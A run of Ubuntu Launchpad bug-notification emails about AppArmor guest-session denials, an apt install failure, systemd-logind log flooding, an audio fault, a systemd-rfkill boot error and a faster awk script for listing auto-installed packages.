Profile: /usr/lib/lightdm/lightdm-guest-session
Operation: open
Name: /proc/8624/fd/
Denied: r
Logfile: /var/log/kern.log
```
### dmesg:
```
[ 218.831289] audit: type=1400 audit(1616864450.287:76): apparmor="DENIED"
operation="sendmsg" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/systemd/journal/dev-log" pid=3916 comm="cinnamon-sessio"
requested_mask="w" denied_mask="w" fsuid=999 ouid=0
[ 1157.263045] audit: type=1400 audit(1616865388.720:1084): apparmor="DENIED"
operation="open" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/proc/9899/fd/" pid=9899 comm="gpg-agent" requested_mask="r"
denied_mask="r" fsuid=999 #ouid=0
[ 1157.899223] audit: type=1400 audit(1616865389.356:1085): apparmor="DENIED"
operation="open" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/proc/1/cgroup" pid=9840 comm="cinnamon-sessio" requested_mask="r"
denied_mask="r" fsuid=999 ouid=0
[ 1157.899445] audit: type=1400 audit(1616865389.360:1086): apparmor="DENIED"
operation="sendmsg" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/systemd/journal/dev-log" pid=9840 comm="cinnamon-sessio"
requested_mask="w" denied_mask="w" fsuid=999 ouid=0
[ 1157.903410] audit: type=1400 audit(1616865389.364:1087): apparmor="DENIED"
operation="link" profile="/usr/lib/lightdm/lightdm-guest-session"
name="/run/user/999/ICEauthority-l" pid=9840 comm="cinnamon-sessio"
requested_mask="l" denied_mask="l" fsuid=999 ouid=999
target="/run/user/999/ICEauthority-c"
```
## Solutions:
### bad but common work around
Solutions I found in different forums were to move lightdm-guest-session into
complain mode like this:
`aa-complain /usr/lib/lightdm/lightdm-guest-session`
### maybe better sollution:
My fix would be to add this to `/etc/apparmor.d/lightdm-guest-session`:
```
...
/usr/lib/lightdm/lightdm-guest-session {
...
owner /run/user/[0-9]*/ICEauthority-? l,`
...
}
```
I honestly have no clue about apparmor and I'm unsure where to post this but
I hope this maybe helps some other people in the future.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu-mate/+bug/1921655/+subscriptions
--
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Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1871268] Re: Installation fails due to useless immediate configuration error when "Install Third-Party Drivers" is selected
** Changed in: ubuntu-cdimage Assignee: (unassigned) => luigi di matola (gigetto76) -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1871268 Title: Installation fails due to useless immediate configuration error when "Install Third-Party Drivers" is selected Status in Ubuntu CD Images: Fix Released Status in apt package in Ubuntu: Fix Released Status in apt source package in Bionic: Fix Released Status in apt source package in Focal: Fix Released Status in apt source package in Groovy: Fix Released Status in apt package in Debian: Fix Released Bug description: [Impact] Installations that really succeeded would then fail because APT could not immediately configure a package. Which is a pointless way to fail at that point, because everything did work out anyway. We have two changes that help address this: * The first one stops immediately configuring multi-arch siblings (e.g. libc6:i386 when it's configuring libc6:amd64). This was not necessary, and caused all the libc6:i386 failures here. * The second change sort of also supersedes the first one: It just ignores any errors from immediate configuration, relying on the fact that it's checked and rectified at a later point if there are unconfigured packages (which is what made all those failures happen spuriously after having successfully installed everything). [Test case] We have one test case in EIPP format in the Debian bug 973305 which was only helped by the second change, not the first one. Run /usr/lib/apt/planners < eipp.log and check there are no errors. TODO: It's unclear if the APT from proposed installed in the live session will fix the installer, needs investigation, but would make a useful test case. [Regression potential] It's imaginable that we missed something somewhere and some path that checked for a set error doesn't check it anymore, and we report success when we hit an error, but it seems unlikely. Behavior of --simulate changes. This used to fail before as well, and will now only produce a warning. We don't believe that is a reason of concern. [Groovy SRU] The groovy SRU is a sync of the 2.1.11 micro release from Debian unstable which also incorporates changes to the documentation: A typo fix, replacing focal with groovy in examples, and minor Dutch manual pages translation updates. We do not have test cases for the documentation changes, and we do not consider there to be a huge regression potential. As long as they build, they should be readable - maybe some words are wrong in the translation, who knows. [Original bug report] Test Case 1. Install Ubuntu Desktop on hardware with an nVidia card and select to install 3rd party drivers 2. Proceed with installation The following error message is displayed in /var/log/syslog /plugininstall.py: Verifying downloads ... /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/gcc_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxcrypt/libcrypt-dev_4.4.10-10ubuntu4_amd64.deb: "Version: '4.4.10-10ubuntu4' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/g/gcc-defaults/g++_9.3.0-1ubuntu2_amd64.deb: "Version: '9.3.0-1ubuntu2' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/z/zlib/zlib1g_1.2.11.dfsg-2ubuntu1_i386.deb: "Version: '1.2.11.dfsg-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxau/libxau6_1.0.9-0ubuntu1_i386.deb: "Version: '1.0.9-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdmcp/libxdmcp6_1.1.3-0ubuntu1_i386.deb: "Version: '1.1.3-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-6_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxext/libxext6_1.3.4-0ubuntu1_i386.deb: "Version: '1.3.4-0ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/l/lm-sensors/libsensors5_3.6.0-2ubuntu1_i386.deb: "Version: '3.6.0-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libx11/libx11-xcb1_1.6.9-2ubuntu1_i386.deb: "Version: '1.6.9-2ubuntu1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxdamage/libxdamage1_1.1.5-1_i386.deb: "Version: '1.1.5-1' not found." /plugininstall.py: Failed to find package object for /cdrom//pool/main/libx/libxfixes/libxfixes3_5.0.3-1_i386.deb: "Version: '5.0.3-1' not found." /plugininstall.py: Failed to find package object for
[Touch-packages] [Bug 1896137] Re: syslog flooded with "Lockdown: systemd-logind: hibernation is restricted; see man kernel_lockdown.7"
I am using an old laptop as server. The internal screen has been removed. When no external display is connected, the system quickly goes to sleep mode. To avoid this I had masked sleep.target and suspend.target, which resulted in the described repeated "systemd- logind: hibernation is restricted; see man kernel_lockdown.7" and 80% load by systemd-logind. I could avoid suspend without triggering this issue by modifying /etc/systemd/logind.conf: HandleSuspendKey=ignore HandleHibernateKey=ignore HandleLidSwitch=ignore HandleHibernateKey=ignore -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1896137 Title: syslog flooded with "Lockdown: systemd-logind: hibernation is restricted; see man kernel_lockdown.7" Status in systemd package in Ubuntu: Expired Bug description: When I close the lid on my laptop, syslog goes crazy with the message systemd-logind: hibernation is restricted; see man kernel_lockdown.7 repeated ad infinitum, using up all the CPU and GBs of disk space. I am not even trying to hibernate; everything in /etc/systemd/login.conf is commented out. So nothing much should happen when I close the lid, but systemd is trying to kill me with these messages. I am running Ubuntu 20.04. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1896137/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1841632] Re: [HP ProDesk 600 G3 MT, Conexant CX20632, Black Headphone Out, Front] No sound at all
I have sound but the microphone isn't working, neither with the separate in/out (two jack0 neither with a headset with mic integrated (single jack). -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1841632 Title: [HP ProDesk 600 G3 MT, Conexant CX20632, Black Headphone Out, Front] No sound at all Status in alsa-driver package in Ubuntu: Confirmed Bug description: Audio stops abruptly after some time. Everytime rebooting system solves the problem ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-58.64-generic 4.15.18 Uname: Linux 4.15.0-58-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.7 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: ec16f091388 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Tue Aug 27 22:04:52 2019 InstallationDate: Installed on 2018-06-18 (435 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: gdm1060 F pulseaudio ec16f091388 F pulseaudio Symptom_Jack: Black Headphone Out, Front Symptom_Type: No sound at all Title: [HP ProDesk 600 G3 MT, Conexant CX20632, Black Headphone Out, Front] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 03/30/2017 dmi.bios.vendor: HP dmi.bios.version: P02 Ver. 02.04 dmi.board.name: 829D dmi.board.vendor: HP dmi.board.version: KBC Version 06.15 dmi.chassis.asset.tag: SGH719TRKM dmi.chassis.type: 3 dmi.chassis.vendor: HP dmi.modalias: dmi:bvnHP:bvrP02Ver.02.04:bd03/30/2017:svnHP:pnHPProDesk600G3MT:pvr:rvnHP:rn829D:rvrKBCVersion06.15:cvnHP:ct3:cvr: dmi.product.family: 103C_53307F HP ProDesk dmi.product.name: HP ProDesk 600 G3 MT dmi.sys.vendor: HP To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1841632/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1841632] Re: [HP ProDesk 600 G3 MT, Conexant CX20632, Black Headphone Out, Front] No sound at all
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: alsa-driver (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to alsa-driver in Ubuntu. https://bugs.launchpad.net/bugs/1841632 Title: [HP ProDesk 600 G3 MT, Conexant CX20632, Black Headphone Out, Front] No sound at all Status in alsa-driver package in Ubuntu: Confirmed Bug description: Audio stops abruptly after some time. Everytime rebooting system solves the problem ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: alsa-base 1.0.25+dfsg-0ubuntu5 ProcVersionSignature: Ubuntu 4.15.0-58.64-generic 4.15.18 Uname: Linux 4.15.0-58-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.7 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: ec16f091388 F pulseaudio CurrentDesktop: ubuntu:GNOME Date: Tue Aug 27 22:04:52 2019 InstallationDate: Installed on 2018-06-18 (435 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) PackageArchitecture: all ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_IN SHELL=/bin/bash SourcePackage: alsa-driver Symptom: audio Symptom_AlsaPlaybackTest: ALSA playback test through plughw:PCH failed Symptom_Card: Built-in Audio - HDA Intel PCH Symptom_DevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: gdm1060 F pulseaudio ec16f091388 F pulseaudio Symptom_Jack: Black Headphone Out, Front Symptom_Type: No sound at all Title: [HP ProDesk 600 G3 MT, Conexant CX20632, Black Headphone Out, Front] No sound at all UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 03/30/2017 dmi.bios.vendor: HP dmi.bios.version: P02 Ver. 02.04 dmi.board.name: 829D dmi.board.vendor: HP dmi.board.version: KBC Version 06.15 dmi.chassis.asset.tag: SGH719TRKM dmi.chassis.type: 3 dmi.chassis.vendor: HP dmi.modalias: dmi:bvnHP:bvrP02Ver.02.04:bd03/30/2017:svnHP:pnHPProDesk600G3MT:pvr:rvnHP:rn829D:rvrKBCVersion06.15:cvnHP:ct3:cvr: dmi.product.family: 103C_53307F HP ProDesk dmi.product.name: HP ProDesk 600 G3 MT dmi.sys.vendor: HP To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1841632/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1921696] Re: Failed to start Load/Save RF Kill Switch Status
Same problem here in different architecture: O.S. Ubuntu 21.04 Beta arm64 (Raspberry Pi 4B 8Gb). Fails during boot: # systemctl status systemd-rfkill.service ● systemd-rfkill.service - Load/Save RF Kill Switch Status Loaded: loaded (/lib/systemd/system/systemd-rfkill.service; static) Active: failed (Result: exit-code) since Sat 2021-04-10 09:19:40 CEST; 8min ago TriggeredBy: ● systemd-rfkill.socket Docs: man:systemd-rfkill.service(8) Process: 786 ExecStart=/lib/systemd/systemd-rfkill (code=exited, status=1/FAILURE) Main PID: 786 (code=exited, status=1/FAILURE) Error: 5 (Error de entrada/salida) abr 10 09:19:40 fpgrpi systemd[1]: Starting Load/Save RF Kill Switch Status... abr 10 09:19:40 fpgrpi systemd-rfkill[786]: Read event structure of invalid size. abr 10 09:19:40 fpgrpi systemd[1]: systemd-rfkill.service: Main process exited, code=exited, status=1/FAILURE abr 10 09:19:40 fpgrpi systemd[1]: systemd-rfkill.service: Failed with result 'exit-code'. abr 10 09:19:40 fpgrpi systemd[1]: Failed to start Load/Save RF Kill Switch Status. But after boot if it's started manually (systemctl start systemd- rfkill.service) it starts without errors. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to systemd in Ubuntu. https://bugs.launchpad.net/bugs/1921696 Title: Failed to start Load/Save RF Kill Switch Status Status in systemd package in Ubuntu: In Progress Bug description: When I boot the system I get these lög messages - Failed to start Load/Save RF Kill Switch Statu - A start job for unit systemd-rfkill.service has failed and with sender systemd-rfkil Read event structure of invalid size Also happens on an Ubuntu system on the same computer. System details p-i@pi-tuf-b550m-wifi:~$ inxi -Fz System:Kernel: 5.11.0-11-generic x86_64 bits: 64 Desktop: Cinnamon 4.8.6 Distro: Ubuntu 21.04 (Hirsute Hippo) Machine: Type: Desktop System: ASUS product: N/A v: N/A serial: Mobo: ASUSTeK model: TUF GAMING B550M-PLUS (WI-FI) v: Rev X.0x serial: UEFI: American Megatrends v: 1804 date: 02/02/2021 CPU: Info: 6-Core model: AMD Ryzen 5 5600X bits: 64 type: MT MCP L2 cache: 3 MiB Speed: 2509 MHz min/max: 2200/4791 MHz Core speeds (MHz): 1: 2509 2: 2237 3: 2858 4: 2236 5: 2235 6: 2238 7: 2798 8: 2239 9: 2238 10: 2233 11: 2236 12: 2234 Graphics: Device-1: Advanced Micro Devices [AMD/ATI] Navi 10 [Radeon RX 5600 OEM/5600 XT / 5700/5700 XT] driver: amdgpu v: kernel Display: x11 server: X.Org 1.20.10 driver: loaded: amdgpu,ati unloaded: fbdev,modesetting,radeon,vesa resolution: 2560x1440~60Hz OpenGL: renderer: AMD Radeon RX 5700 (NAVI10 DRM 3.40.0 5.11.0-11-generic LLVM 11.0.1) v: 4.6 Mesa 21.0.1 Audio: Device-1: Advanced Micro Devices [AMD/ATI] Navi 10 HDMI Audio driver: snd_hda_intel Device-2: Advanced Micro Devices [AMD] Starship/Matisse HD Audio driver: snd_hda_intel Device-3: Logitech Webcam C250 type: USB driver: snd-usb-audio,uvcvideo Sound Server: ALSA v: k5.11.0-11-generic Network: Device-1: Intel Wi-Fi 6 AX200 driver: iwlwifi IF: wlp6s0 state: down mac: Device-2: Realtek RTL8125 2.5GbE driver: r8169 IF: enp7s0 state: up speed: 1000 Mbps duplex: full mac: IF-ID-1: vmnet1 state: unknown speed: N/A duplex: N/A mac: IF-ID-2: vmnet8 state: unknown speed: N/A duplex: N/A mac: Bluetooth: Device-1: Intel AX200 Bluetooth type: USB driver: btusb Report: ID: hci0 state: up running pscan bt-v: 3.0 address: Drives:Local Storage: total: 1.36 TiB used: 97.88 GiB (7.0%) ID-1: /dev/nvme0n1 vendor: Corsair model: Force MP600 size: 465.76 GiB ID-2: /dev/nvme1n1 vendor: Kingston model: SA2000M8500G size: 465.76 GiB ID-3: /dev/sda vendor: Samsung model: SSD 860 EVO 500GB size: 465.76 GiB Partition: ID-1: / size: 456.96 GiB used: 97.84 GiB (21.4%) fs: ext4 dev: /dev/nvme0n1p2 ID-2: /boot/efi size: 511 MiB used: 33.3 MiB (6.5%) fs: vfat dev: /dev/nvme0n1p1 Swap: ID-1: swap-1 type: file size: 2 GiB used: 0 KiB (0.0%) file: /swapfile Sensors: System Temperatures: cpu: 35.9 C mobo: 39.0 C gpu: amdgpu temp: 40.0 C Fan Speeds (RPM): fan-1: 698 fan-2: 937 fan-3: 711 fan-7: 931 gpu: amdgpu fan: 0 Info: Processes: 372 Uptime: 13m Memory: 15.54 GiB used: 1.88 GiB (12.1%) Shell: Bash inxi: 3.3.01 p-i@pi-tuf-b550m-wifi:~$ ProblemType: Bug DistroRelease: Ubuntu 21.04 Package: systemd 247.3-3ubuntu1 ProcVersionSignature: Ubuntu 5.11.0-11.12-generic 5.11.0 Uname: Linux 5.11.0-11-generic x86_64 ApportVersion: 2.20.11-0ubuntu61 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: X-Cinnamon Date:
[Touch-packages] [Bug 1713219] Re: 'apt-mark showauto' and 'apt-cache show' is slow
** Description changed:
$ time apt-mark showauto >/dev/null
real 0m0,620s
user 0m0,557s
sys 0m0,052s
When I run the command first time, it is even much slower.
- I could do the job* in fraction of a time using awk in POSIX shell script
- (name it ./apt-mark-showauto.sh):
+ I could do the job* in fraction of a time using an AWK script
+ (name it ./apt-mark-showauto.awk):
- #!/bin/sh
- auto_file='/var/lib/apt/extended_states'
- awk '/^Package:/ {
- pkg=$2
- while (getline > 0 && $0) {
- if ($1 == "Auto-Installed:") {
- if ($2==1) print pkg
- break
- }
+ #!/usr/bin/awk -f
+ BEGIN{
+ file="/var/lib/apt/extended_states"
+ while ((getline < file) > 0) {
+ if ($0 ~ /^Package:/) {
+ pkg=$2
+ while ((getline < file) > 0 && $0) {
+ if ($1 == "Auto-Installed:") {
+ if ($2==1) print pkg
+ break
+ }
+ }
+ }
}
- }' "$auto_file"
+ }
- $ time ./apt-mark-showauto.sh >/dev/null
+ $ time ./apt-mark-showauto.awk >/dev/null
- real 0m0,005s
- user 0m0,002s
- sys 0m0,004s
+ real 0m0,004s
+ user 0m0,004s
+ sys 0m0,000s
- Tested in Ubuntu 20.04.
+ Tested in Ubuntu 20.04 and mawk 1.3.4 as AWK interpreter.
*) The script omits Architecture information, though. And should apt-
config be queried for the extended_states file path?
Similarly
apt-cache show
is slow. (It also shows whether a package is manually or automatically
installed.
ProblemType: Bug
DistroRelease: Ubuntu 14.04
Package: apt 1.0.1ubuntu2.17
ProcVersionSignature: Ubuntu 4.4.0-92.115~14.04.1-generic 4.4.76
Uname: Linux 4.4.0-92-generic x86_64
ApportVersion: 2.14.1-0ubuntu3.25
Architecture: amd64
CurrentDesktop: XFCE
Date: Sat Aug 26 12:59:00 2017
EcryptfsInUse: Yes
InstallationDate: Installed on 2014-09-21 (1070 days ago)
InstallationMedia: Ubuntu-Studio 14.04.1 LTS "Trusty Tahr" - Release amd64
(20140722.1)
SourcePackage: apt
UpgradeStatus: No upgrade log present (probably fresh install)
modified.conffile..etc.cron.daily.apt: [modified]
modified.conffile..etc.kernel.postinst.d.apt.auto.removal: [modified]
mtime.conffile..etc.cron.daily.apt: 2017-05-03T10:27:27.617839
mtime.conffile..etc.kernel.postinst.d.apt.auto.removal:
2017-06-01T14:39:39.236080
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apt in Ubuntu.
https://bugs.launchpad.net/bugs/1713219
Title:
'apt-mark showauto' and 'apt-cache show' is slow
Status in apt package in Ubuntu:
Triaged
Bug description:
$ time apt-mark showauto >/dev/null
real 0m0,620s
user 0m0,557s
sys 0m0,052s
When I run the command first time, it is even much slower.
I could do the job* in fraction of a time using an AWK script
(name it ./apt-mark-showauto.awk):
#!/usr/bin/awk -f
BEGIN{
file="/var/lib/apt/extended_states"
while ((getline < file) > 0) {
if ($0 ~ /^Package:/) {
pkg=$2
while ((getline < file) > 0 && $0) {
if ($1 == "Auto-Installed:") {
if ($2==1) print pkg
break
}
}
}
}
}
$ time ./apt-mark-showauto.awk >/dev/null
real 0m0,004s
user 0m0,004s
sys 0m0,000s
Tested in Ubuntu 20.04 and mawk 1.3.4 as AWK interpreter.
*) The script omits Architecture information, though. And should apt-
config be queried for the extended_states file path?
Similarly
apt-cache show
is slow. (It also shows whether a package is manually or automatically
installed.
ProblemType: Bug
DistroRelease: Ubuntu 14.04
Package: apt 1.0.1ubuntu2.17
ProcVersionSignature: Ubuntu 4.4.0-92.115~14.04.1-generic 4.4.76
Uname: Linux 4.4.0-92-generic x86_64
ApportVersion: 2.14.1-0ubuntu3.25
Architecture: amd64
CurrentDesktop: XFCE
Date: Sat Aug 26 12:59:00 2017
EcryptfsInUse: Yes
InstallationDate: Installed on 2014-09-21 (1070 days ago)
InstallationMedia: Ubuntu-Studio 14.04.1 LTS "Trusty Tahr" - Release amd64
(20140722.1)
SourcePackage: apt
UpgradeStatus: No upgrade log present (probably fresh install)
modified.conffile..etc.cron.daily.apt: [modified]
modified.conffile..etc.kernel.postinst.d.apt.auto.removal: [modified]
mtime.conffile..etc.cron.daily.apt: 2017-05-03T10:27:27.617839
mtime.conffile..etc.kernel.postinst.d.apt.auto.removal:
2017-06-01T14:39:39.236080
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1713219/+subscriptions
--
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